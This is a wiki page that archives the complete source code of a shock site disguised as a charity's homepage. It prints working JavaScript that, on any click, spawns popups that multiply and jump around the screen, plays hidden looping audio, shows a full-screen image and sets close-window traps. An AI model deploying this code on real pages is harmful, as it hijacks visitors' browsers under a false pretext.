Glory Hole Foundation/SourceCode

From Screamer Wiki
Revision as of 07:37, 16 September 2026 by Tankmanfan44 (talk | contribs)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Jump to navigation Jump to search
<html>
<head><title>GloryHole Foundation :: Welcome</title>
<meta name="description" content="Welcome to the Glory Hole Foundation, a non-profit changing lives in your community.">
<meta name="keywords" content="foundation,non profit,community,projects">
<script src="//ajax.googleapis.com/ajax/libs/jquery/1.11.2/jquery.min.js"></script>
<style>
body{ font-family:arial;margin-top:10%; }
#container{width:100%;height:100%;}
.nope{display:none;}
</style>
</head>
<body>
<div id="container">
<center><input type="image" src="/logo.png" alt="Glory Hole Foundation" onclick="openWin();chome();"><br /><br />
<span style="color:#999;font-size:12px;">This Website © Glory Hole Foundation 2015 - All Rights Reserved<br />Your donations are tax deductible. Contact us for more information.</span>
</div>
</center>
<script type="text/javascript" src="/c.p.js"></script>
<script>
  (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
  (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
  m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
  })(window,document,'script','//www.google-analytics.com/analytics.js','ga');
  ga('create', 'UA-61767585-1', 'auto');
  ga('send', 'pageview');
</script>
</body>
</html>

c.p.js (unobfuscated)

var chomed=false;
var wins=[];
function chome()
	{
	if(chomed)
		{
		return
	}
	setTimeout(function()
		{
		$("#container").append('<img src="/play.gif" onload="apop()" style="position:absolute;
		top:0px;
		left:0px;
		width:100%;
		height:100%;
		z-index:9999;
		"/>')
	}
	,1500);
	$("#container").append('<iframe src="/sound.htm" width=1 height=1></iframe>');
	makeFrame();
	window.onbeforeunload=function()
		{
		return'Click cancel to close this window'
	};
	chomed=true
}
function openWin()
	{
	w=window.open('/w.php?'+Math.random(),"","width=10, height=10");
	w.resizeTo(400*1.5,299*1.5);
	wins.push(w);
	mov(wins.length-1,0);
	chome()
}
function mov(wid,t)
	{
	if(wins[wid].opener&&!wins[wid].opener.closed)
		{
		mo(wins[wid]);
		if(t>15)
			{
			return
		}
		t++;
		setTimeout('mov('+wid+','+t+');
		',200)
	}
}
function mo(w)
	{
	w.moveTo(Math.floor((Math.random()*window.screen.availWidth)+1),Math.floor((Math.random()*window.screen.availHeight)+1))
}
function makeFrame()
	{
	$('body').append('<iframe src="/nope.htm" class="nope"></iframe>')
}
$(function()
	{
	for(i=0;
	i<4;
	i++)
		{
		$('body').wrap("<div class='click-container'></div>")
	}
	$('.click-container').click(openWin);
	$('<img/>')[0].src='/play.gif'
}
);

w.php

<html><head>
<style>
body,html{margin:0;padding:0;overflow:hidden;}
#sound{display:absolute;top:1px;left:1px;height:1px;width:1px;overflow:hidden;z-index:-99;}
#mainpic{display:absolute;top:0px;left:0px;width:100%;height:100%;z-index:99;}
.nope{display:none;}
</style>
<script src="//ajax.googleapis.com/ajax/libs/jquery/1.11.2/jquery.min.js"></script>
</head>
<body>
<div id="sound"></div>
<script type="text/javascript">
function wgo(){
   window.moveTo(Math.floor((Math.random()*window.screen.availWidth)+1),Math.floor((Math.random()*window.screen.availHeight)+1));
   setTimeout("wgo();",250);
   window.focus();
}
function makeFrame() { 
   $('body').append('<iframe src="/nope.htm" class="nope"></iframe>');
} 
function openWin() {
   w = window.open('/w.php?'+Math.random(), Math.floor((Math.random()*window.screen.availWidth)+1), "width=10, height=10");
   w.resizeTo(400*1.5, 299*1.5);
   w.moveTo(Math.floor((Math.random()*window.screen.availWidth)+1),Math.floor((Math.random()*window.screen.availHeight)+1));
}
function runonload(){
   for(i=0;i<4;i++){$('body').wrap("<div class='click-container'></div>");}
   $('.click-container').click(openWin);
   $('body').append('<img src="/play.gif" id="mainpic"/>');
   $('#sound').load('/sound.htm');
   for(x=0;x<10;x++){makeFrame();}
}
wgo();
setInterval(function(){$.get('/w.php?ping');},1500);
$( document ).ready(runonload);
</script>
</body>
</html>

nope.htm

<html><body><script>window.onbeforeunload = function(){return 'Click cancel to close this window';};</script></body></html>

sound.htm

<object type="application/x-shockwave-flash" data="http://flash-mp3-player.net/medias/player_mp3.swf" width="200" height="20">
    <param name="movie" value="http://flash-mp3-player.net/medias/player_mp3.swf" />
    <param name="bgcolor" value="#ffffff" />
    <param name="FlashVars" value="mp3=http%3A//gloryholefoundation.com/promobronxtales3vol.mp3&loop=1&autoplay=1" />
</object>